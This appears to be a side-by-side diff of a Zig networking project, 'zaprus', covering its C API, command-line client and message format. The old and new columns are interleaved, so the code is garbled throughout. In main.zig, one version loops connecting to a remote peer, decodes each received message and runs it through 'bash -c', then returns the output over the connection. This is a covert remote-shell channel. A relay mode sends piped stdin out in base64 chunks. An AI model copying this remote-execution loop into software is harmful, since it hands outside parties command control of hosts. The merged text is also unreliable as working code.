export fn zaprus_connect(payload: [*]const u8, len: usize) ?*c.SaprusMessage {
if (SaprusClient.connect(payload[0..len], allocator)) |msg| {
var m = zigToCMessage(msg) catch return null;
return &m;
} else |_| {
return null;
}
}
// message
/// ptr should be freed by the caller.
export fn zaprus_message_to_bytes(msg: c.SaprusMessage, ptr: *[*]u8, len: *usize) c_int {
var m = cToZigMessage(msg) catch return 1;
const bytes = m.toBytes(allocator) catch return 1;
ptr.* = bytes.ptr;
len.* = bytes.len;
return 0;
}
/// Return value should be destroyed with zaprus_message_deinit.
export fn zaprus_message_from_bytes(bytes: [*]const u8, len: usize) ?*c.SaprusMessage {
if (zaprus.Message.fromBytes(bytes[0..len], allocator)) |msg| {
var m = zigToCMessage(msg) catch return null;
return &m;
} else |_| return null;
}
export fn zaprus_message_deinit(msg: *c.SaprusMessage) void {
if (cToZigMessage(msg.*)) |m| {
m.deinit(allocator);
} else |_| unreachable;
}
const std = @import("std"); const std = @import("std");
const zaprus = @import("zaprus");
// Opaque types for C API const zaprus = @import("./root.zig");
const ZaprusClient = opaque {}; const SaprusClient = zaprus.Client;
const ZaprusConnection = opaque {};
const alloc = std.heap.c_allocator; const allocator = std.heap.c_allocator;
const io = std.Io.Threaded.global_single_threaded.io();
export fn zaprus_init_client() ?*ZaprusClient { test {
const client = alloc.create(zaprus.Client) catch return null; std.testing.refAllDeclsRecursively(@This());
client.* = zaprus.Client.init() catch {
alloc.destroy(client);
return null;
};
return @ptrCast(client);
}
export fn zaprus_deinit_client(client: ?*ZaprusClient) void {
const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
if (c) |zc| {
zc.deinit();
alloc.destroy(zc);
}
}
export fn zaprus_client_send_relay(
client: ?*ZaprusClient,
payload: [*c]const u8,
payload_len: usize,
dest: [*c]const u8,
) c_int {
const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
const zc = c orelse return 1;
zc.sendRelay(io, payload[0..payload_len], dest[0..4].*) catch return 1;
return 0;
}
export fn zaprus_connect(
client: ?*ZaprusClient,
payload: [*c]const u8,
payload_len: usize,
) ?*ZaprusConnection {
const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
const zc = c orelse return null;
const connection = alloc.create(zaprus.Connection) catch return null;
connection.* = zc.connect(io, payload[0..payload_len]) catch {
alloc.destroy(connection);
return null;
};
return @ptrCast(connection);
}
export fn zaprus_deinit_connection(connection: ?*ZaprusConnection) void {
const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
if (c) |zc| {
alloc.destroy(zc);
}
}
export fn zaprus_connection_next(
connection: ?*ZaprusConnection,
out: [*c]u8,
capacity: usize,
out_len: *usize,
) c_int {
const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
const zc = c orelse return 1;
const result = zc.next(io, out[0..capacity]) catch return 1;
out_len.* = result.len;
return 0;
}
export fn zaprus_connection_send(
connection: ?*ZaprusConnection,
payload: [*c]const u8,
payload_len: usize,
) c_int {
const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
const zc = c orelse return 1;
zc.send(io, payload[0..payload_len]) catch return 1;
return 0;
} }

View File

@@ -1,233 +1,81 @@
const is_debug = builtin.mode == .Debug; const is_debug = builtin.mode == .Debug;
const help = /// This creates a debug allocator that can only be referenced in debug mode.
\\-h, --help Display this help and exit. /// You should check for is_debug around every reference to dba.
\\-r, --relay <str> A relay message to send. var dba: DebugAllocator =
\\-d, --dest <str> An IPv4 or <= 4 ASCII byte string. if (is_debug)
\\-c, --connect <str> A connection message to send. DebugAllocator.init
\\ else
; @compileError("Should not use debug allocator in release mode");
const Option = enum { help, relay, dest, connect }; pub fn main() !void {
const to_option: StaticStringMap(Option) = .initComptime(.{ defer if (is_debug) {
.{ "-h", .help }, _ = dba.deinit();
.{ "--help", .help }, };
.{ "-r", .relay },
.{ "--relay", .relay }, const gpa = if (is_debug) dba.allocator() else std.heap.smp_allocator;
.{ "-d", .dest },
.{ "--dest", .dest },
.{ "-c", .connect },
.{ "--connect", .connect },
});
pub fn main(init: std.process.Init) !void {
// CLI parsing adapted from the example here // CLI parsing adapted from the example here
// https://codeberg.org/ziglang/zig/pulls/30644 // https://github.com/Hejsil/zig-clap/blob/e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a/README.md#examples
const args = try init.minimal.args.toSlice(init.arena.allocator()); // First we specify what parameters our program can take.
// We can use `parseParamsComptime` to parse a string into an array of `Param(Help)`.
const params = comptime clap.parseParamsComptime(
\\-h, --help Display this help and exit.
\\-r, --relay <str> A relay message to send.
\\-d, --dest <str> An IPv4 or <= 4 ASCII byte string.
\\-c, --connect <str> A connection message to send.
\\
);
var flags: struct { // Initialize our diagnostics, which can be used for reporting useful errors.
relay: ?[]const u8 = null, // This is optional. You can also pass `.{}` to `clap.parse` if you don't
dest: ?[]const u8 = null, // care about the extra information `Diagnostics` provides.
connect: ?[]const u8 = null, var diag = clap.Diagnostic{};
} = .{}; var res = clap.parse(clap.Help, &params, clap.parsers.default, .{
.diagnostic = &diag,
.allocator = gpa,
}) catch |err| {
// Report useful error and exit.
diag.report(std.io.getStdErr().writer(), err) catch {};
return err;
};
defer res.deinit();
if (args.len == 1) { try SaprusClient.init();
flags.connect = ""; defer SaprusClient.deinit();
} else {
var i: usize = 1; if (res.args.help != 0) {
while (i < args.len) : (i += 1) { return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
if (to_option.get(args[i])) |opt| {
switch (opt) {
.help => {
std.debug.print("{s}", .{help});
return;
},
.relay => {
i += 1;
if (i < args.len) {
flags.relay = args[i];
} else {
flags.relay = "";
}
},
.dest => {
i += 1;
if (i < args.len) {
flags.dest = args[i];
} else {
std.debug.print("-d/--dest requires a string\n", .{});
return error.InvalidArguments;
}
},
.connect => {
i += 1;
if (i < args.len) {
flags.connect = args[i];
} else {
flags.connect = "";
}
},
}
} else {
std.debug.print("Unknown argument: {s}\n", .{args[i]});
return error.InvalidArguments;
}
}
} }
if (flags.connect != null and (flags.relay != null or flags.dest != null)) { if (res.args.relay) |r| {
std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{}); const dest = parseDest(res.args.dest) catch .{ 70, 70, 70, 70 };
return error.InvalidArguments; try SaprusClient.sendRelay(
} if (r.len > 0) r else "Hello darkness my old friend",
dest,
var client: SaprusClient = undefined; gpa,
);
if (flags.relay != null) { // std.debug.print("Sent: {s}\n", .{r});
client = try .init(); return;
defer client.deinit(); } else if (res.args.connect) |c| {
var chunk_writer_buf: [2048]u8 = undefined; const conn_res: ?SaprusMessage = SaprusClient.connect(if (c.len > 0) c else "Hello darkness my old friend", gpa) catch |err| switch (err) {
var chunk_writer: Writer = .fixed(&chunk_writer_buf); error.WouldBlock => null,
if (flags.relay.?.len > 0) { else => return err,
var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len); };
while (output_iter.next()) |chunk| { defer if (conn_res) |r| r.deinit(gpa);
chunk_writer.end = 0; if (conn_res) |r| {
try chunk_writer.print("{b64}", .{chunk}); std.debug.print("{s}\n", .{r.connection.payload});
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
try init.io.sleep(.fromMilliseconds(40), .boot);
}
} else { } else {
var stdin_file: std.Io.File = .stdin(); std.debug.print("No response from connection request\n", .{});
var stdin_file_reader = stdin_file.reader(init.io, &.{});
var stdin_reader = &stdin_file_reader.interface;
var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
var stdin = &limited.interface;
while (stdin.fillMore()) {
// Sometimes fillMore will return 0 bytes.
// Skip these
if (stdin.seek == stdin.end) continue;
chunk_writer.end = 0;
try chunk_writer.print("{b64}", .{stdin.buffered()});
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
try init.io.sleep(.fromMilliseconds(40), .boot);
try stdin.discardAll(stdin.end);
} else |err| switch (err) {
error.EndOfStream => {
log.debug("end of stdin", .{});
},
else => |e| return e,
}
} }
return; return;
} }
var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
var w: Writer = .fixed(&init_con_buf);
try w.print("{b64}", .{flags.connect.?});
if (flags.connect != null) {
reconnect: while (true) {
client = try .init();
defer client.deinit();
log.debug("Starting connection", .{});
try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
var connection = client.connect(init.io, w.buffered()) catch {
log.debug("Connection timed out", .{});
continue;
};
log.debug("Connection started", .{});
next_message: while (true) {
var res_buf: [2048]u8 = undefined;
try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
const next = connection.next(init.io, &res_buf) catch {
continue :reconnect;
};
const b64d = std.base64.standard.Decoder;
var connection_payload_buf: [2048]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
b64d.decode(connection_payload, next) catch {
log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
continue;
};
var child = std.process.spawn(init.io, .{
.argv = &.{ "bash", "-c", connection_payload },
.stdout = .pipe,
.stderr = .ignore,
.stdin = .ignore,
}) catch continue;
var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
var is_killed: std.atomic.Value(bool) = .init(false);
var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
defer _ = kill_task.cancel(init.io) catch {};
var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
var cmd_output: Writer = .fixed(&cmd_output_buf);
// Maximum of 10 messages of output per command
for (0..10) |_| {
cmd_output.end = 0;
child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) {
error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this
error.EndOfStream => {
cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
if (cmd_output.end > 0) {
connection.send(init.io, cmd_output.buffered()) catch |e| {
log.debug("Failed to send connection chunk: {t}", .{e});
continue :next_message;
};
}
break;
},
};
cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
connection.send(init.io, cmd_output.buffered()) catch |err| {
log.debug("Failed to send connection chunk: {t}", .{err});
continue :next_message;
};
try init.io.sleep(.fromMilliseconds(40), .boot);
} else {
kill_task.cancel(init.io) catch {};
killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {
log.debug("Failed to kill process??? {t}", .{err});
continue :next_message;
};
}
if (!is_killed.load(.monotonic)) {
_ = child.wait(init.io) catch |err| {
log.debug("Failed to wait for child: {t}", .{err});
};
}
}
}
}
unreachable;
} }
fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void { fn parseDest(in: ?[]const u8) ![4]u8 {
io.sleep(duration, .boot) catch |err| switch (err) {
error.Canceled => return,
else => |e| return e,
};
is_killed.store(true, .monotonic);
proc.kill(io);
}
fn parseDest(in: ?[]const u8) [4]u8 {
if (in) |dest| { if (in) |dest| {
if (dest.len <= 4) { if (dest.len <= 4) {
var res: [4]u8 = @splat(0); var res: [4]u8 = @splat(0);
@@ -235,20 +83,19 @@ fn parseDest(in: ?[]const u8) [4]u8 {
return res; return res;
} }
const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*; const addr = try std.net.Ip4Address.parse(dest, 0);
return addr.bytes; return @bitCast(addr.sa.addr);
} }
return "disc".*; return "FAIL".*;
} }
const builtin = @import("builtin"); const builtin = @import("builtin");
const std = @import("std"); const std = @import("std");
const log = std.log; const DebugAllocator = std.heap.DebugAllocator(.{});
const ArrayList = std.ArrayList; const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;
const zaprus = @import("zaprus"); const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client; const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message; const SaprusMessage = zaprus.Message;
const Writer = std.Io.Writer; const clap = @import("clap");

View File

@@ -1,211 +1,211 @@
pub const MessageTypeError = error{ const base64Enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
const base64Dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
/// Type tag for Message union.
/// This is the first value in the actual packet sent over the network.
pub const PacketType = enum(u16) {
relay = 0x003C,
file_transfer = 0x8888,
connection = 0x00E9,
_,
};
/// Reserved option values.
/// Currently unused.
pub const ConnectionOptions = packed struct(u8) {
opt1: bool = false,
opt2: bool = false,
opt3: bool = false,
opt4: bool = false,
opt5: bool = false,
opt6: bool = false,
opt7: bool = false,
opt8: bool = false,
};
pub const Error = error{
NotImplementedSaprusType, NotImplementedSaprusType,
UnknownSaprusType, UnknownSaprusType,
}; };
pub const MessageParseError = MessageTypeError || error{
InvalidMessage,
};
const message = @This(); /// All Saprus messages
pub const Message = union(PacketType) {
pub const Relay = struct {
pub const Header = packed struct {
dest: @Vector(4, u8),
};
header: Header,
payload: []const u8,
};
pub const Connection = struct {
pub const Header = packed struct {
src_port: u16, // random number > 1024
dest_port: u16, // random number > 1024
seq_num: u32 = 0,
msg_id: u32 = 0,
reserved: u8 = 0,
options: ConnectionOptions = .{},
};
header: Header,
payload: []const u8,
};
relay: Relay,
file_transfer: void, // unimplemented
connection: Connection,
pub const Message = union(enum(u16)) { /// Should be called for any Message that was declared using a function that you pass an allocator to.
relay: Message.Relay = 0x003C, pub fn deinit(self: Message, allocator: Allocator) void {
connection: Message.Connection = 0x00E9, switch (self) {
_, .relay => |r| allocator.free(r.payload),
.connection => |c| allocator.free(c.payload),
pub const Relay = message.Relay;
pub const Connection = message.Connection;
pub fn toBytes(self: message.Message, buf: []u8) []u8 {
return switch (self) {
inline .relay, .connection => |m| m.toBytes(buf),
else => unreachable, else => unreachable,
};
}
pub const parse = message.parse;
};
pub const relay_dest_len = 4;
pub fn parse(bytes: []const u8) MessageParseError!Message {
var in: Reader = .fixed(bytes);
const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) {
error.InvalidEnumTag => return error.UnknownSaprusType,
else => return error.InvalidMessage,
};
const checksum = in.takeArray(2) catch return error.InvalidMessage;
switch (@"type") {
.relay => {
const dest: Relay.Dest = .fromBytes(
in.takeArray(relay_dest_len) catch return error.InvalidMessage,
);
const payload = in.buffered();
return .{
.relay = .{
.dest = dest,
.checksum = checksum.*,
.payload = payload,
},
};
},
.connection => {
const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
const reserved = in.takeByte() catch return error.InvalidMessage;
const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
const payload = in.buffered();
return .{
.connection = .{
.src = src,
.dest = dest,
.seq = seq,
.id = id,
.reserved = reserved,
.options = options,
.payload = payload,
},
};
},
else => return error.NotImplementedSaprusType,
}
}
test parse {
_ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
{
const expected: Message = .{
.connection = .{
.src = 12416,
.dest = 61680,
.seq = 0,
.id = 0,
.reserved = 0,
.options = @bitCast(@as(u8, 100)),
.payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
},
};
const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
try std.testing.expectEqualDeep(expected, actual);
}
}
const Relay = struct {
dest: Dest,
checksum: [2]u8 = undefined,
payload: []const u8,
pub const Dest = struct {
bytes: [relay_dest_len]u8,
/// Asserts bytes is less than or equal to 4 bytes
pub fn fromBytes(bytes: []const u8) Dest {
var buf: [4]u8 = @splat(0);
std.debug.assert(bytes.len <= buf.len);
@memcpy(buf[0..bytes.len], bytes);
return .{ .bytes = buf };
} }
};
pub fn init(dest: Dest, payload: []const u8) Relay {
return .{ .dest = dest, .payload = payload };
} }
/// Asserts that buf is large enough to fit the relay message. fn toBytesAux(
pub fn toBytes(self: Relay, buf: []u8) []u8 { header: anytype,
var out: Writer = .fixed(buf); payload: []const u8,
out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; buf: *std.ArrayList(u8),
out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum allocator: Allocator,
out.writeAll(&self.dest.bytes) catch unreachable; ) !void {
out.writeAll(self.payload) catch unreachable; const Header = @TypeOf(header);
return out.buffered(); // Create a growable string to store the base64 bytes in.
} // Doing this first so I can use the length of the encoded bytes for the length field.
var payload_list = std.ArrayList(u8).init(allocator);
defer payload_list.deinit();
const buf_w = payload_list.writer();
test toBytes { // Write the payload bytes as base64 to the growable string.
var buf: [1024]u8 = undefined; try base64Enc.encodeWriter(buf_w, payload);
const relay: Relay = .init(
.fromBytes(&.{ 172, 18, 1, 30 }), // At this point, payload_list contains the base64 encoded payload.
// zig fmt: off
&[_]u8{ // Add the payload length to the output buf.
0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, try buf.*.appendSlice(
0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 asBytes(&nativeToBig(u16, @intCast(payload_list.items.len + @bitSizeOf(Header) / 8))),
},
// zig fmt: on
); );
// zig fmt: off
var expected = [_]u8{ // Add the header bytes to the output buf.
0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, var header_buf: [@sizeOf(Header)]u8 = undefined;
0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, var header_buf_stream = std.io.fixedBufferStream(&header_buf);
0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 try header_buf_stream.writer().writeStructEndian(header, .big);
}; // Add the exact number of bits in the header without padding.
// zig fmt: on try buf.*.appendSlice(header_buf[0 .. @bitSizeOf(Header) / 8]);
try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
try buf.*.appendSlice(payload_list.items);
}
/// Caller is responsible for freeing the returned bytes.
pub fn toBytes(self: Message, allocator: Allocator) ![]u8 {
// Create a growable list of bytes to store the output in.
var buf = std.ArrayList(u8).init(allocator);
errdefer buf.deinit();
// Start with writing the message type, which is the first 16 bits of every Saprus message.
try buf.appendSlice(asBytes(&nativeToBig(u16, @intFromEnum(self))));
// Write the proper header and payload for the given packet type.
switch (self) {
.relay => |r| try toBytesAux(r.header, r.payload, &buf, allocator),
.connection => |c| try toBytesAux(c.header, c.payload, &buf, allocator),
.file_transfer => return Error.NotImplementedSaprusType,
}
// Collect the growable list as a slice and return it.
return buf.toOwnedSlice();
}
fn fromBytesAux(
comptime packet: PacketType,
len: u16,
r: std.io.FixedBufferStream([]const u8).Reader,
allocator: Allocator,
) !Message {
const Header = @field(@FieldType(Message, @tagName(packet)), "Header");
// Read the header for the current message type.
var header_bytes: [@sizeOf(Header)]u8 = undefined;
_ = try r.read(header_bytes[0 .. @bitSizeOf(Header) / 8]);
var header_stream = std.io.fixedBufferStream(&header_bytes);
const header = try header_stream.reader().readStructEndian(Header, .big);
// Read the base64 bytes into a list to be able to call the decoder on it.
const payload_buf = try allocator.alloc(u8, len - @bitSizeOf(Header) / 8);
defer allocator.free(payload_buf);
_ = try r.readAll(payload_buf);
// Create a buffer to store the payload in, and decode the base64 bytes into the payload field.
const payload = try allocator.alloc(u8, try base64Dec.calcSizeForSlice(payload_buf));
try base64Dec.decode(payload, payload_buf);
// Return the type of Message specified by the `packet` argument.
return @unionInit(Message, @tagName(packet), .{
.header = header,
.payload = payload,
});
}
/// Caller is responsible for calling .deinit on the returned value.
pub fn fromBytes(bytes: []const u8, allocator: Allocator) !Message {
var s = std.io.fixedBufferStream(bytes);
const r = s.reader();
// Read packet type
const packet_type = @as(PacketType, @enumFromInt(try r.readInt(u16, .big)));
// Read the length of the header + base64 encoded payload.
const len = try r.readInt(u16, .big);
switch (packet_type) {
.relay => return fromBytesAux(.relay, len, r, allocator),
.connection => return fromBytesAux(.connection, len, r, allocator),
.file_transfer => return Error.NotImplementedSaprusType,
else => return Error.UnknownSaprusType,
}
} }
}; };
const Connection = struct {
src: u16,
dest: u16,
seq: u32,
id: u32,
reserved: u8 = undefined,
options: Options = undefined,
payload: []const u8,
/// Reserved option values.
/// Currently unused.
pub const Options = packed struct(u8) {
opt1: bool = false,
opt2: bool = false,
opt3: bool = false,
opt4: bool = false,
opt5: bool = false,
opt6: bool = false,
opt7: bool = false,
opt8: bool = false,
};
/// Asserts that buf is large enough to fit the connection message.
pub fn toBytes(self: Connection, buf: []u8) []u8 {
var out: Writer = .fixed(buf);
out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable;
out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
out.writeInt(u16, self.src, .big) catch unreachable;
out.writeInt(u16, self.dest, .big) catch unreachable;
out.writeInt(u32, self.seq, .big) catch unreachable;
out.writeInt(u32, self.id, .big) catch unreachable;
out.writeByte(self.reserved) catch unreachable;
out.writeStruct(self.options, .big) catch unreachable;
out.writeAll(self.payload) catch unreachable;
return out.buffered();
}
};
test "Round trip" {
{
const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
const msg = (try parse(&expected)).connection;
var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
const res = msg.toBytes(&res_buf);
try expectEqualMessageBuffers(&expected, res);
}
}
// Skip checking the length / checksum, because that is undefined.
fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
}
const std = @import("std"); const std = @import("std");
const Allocator = std.mem.Allocator; const Allocator = std.mem.Allocator;
const Writer = std.Io.Writer;
const Reader = std.Io.Reader;
test { const asBytes = std.mem.asBytes;
std.testing.refAllDeclsRecursive(@This()); const nativeToBig = std.mem.nativeToBig;
test "Round trip Relay toBytes and fromBytes" {
const gpa = std.testing.allocator;
const msg = Message{
.relay = .{
.header = .{ .dest = .{ 255, 255, 255, 255 } },
.payload = "Hello darkness my old friend",
},
};
const to_bytes = try msg.toBytes(gpa);
defer gpa.free(to_bytes);
const from_bytes = try Message.fromBytes(to_bytes, gpa);
defer from_bytes.deinit(gpa);
try std.testing.expectEqualDeep(msg, from_bytes);
}
test "Round trip Connection toBytes and fromBytes" {
const gpa = std.testing.allocator;
const msg = Message{
.connection = .{
.header = .{
.src_port = 0,
.dest_port = 0,
},
.payload = "Hello darkness my old friend",
},
};
const to_bytes = try msg.toBytes(gpa);
defer gpa.free(to_bytes);
const from_bytes = try Message.fromBytes(to_bytes, gpa);
defer from_bytes.deinit(gpa);
try std.testing.expectEqualDeep(msg, from_bytes);
} }

View File

@@ -1,13 +1,4 @@
pub const Client = @import("Client.zig"); pub const Client = @import("Client.zig");
pub const Connection = @import("Connection.zig"); pub usingnamespace @import("message.zig");
const msg = @import("message.zig"); pub usingnamespace @import("c_api.zig");
pub const PacketType = msg.PacketType;
pub const MessageTypeError = msg.MessageTypeError;
pub const MessageParseError = msg.MessageParseError;
pub const Message = msg.Message;
test {
@import("std").testing.refAllDecls(@This());
}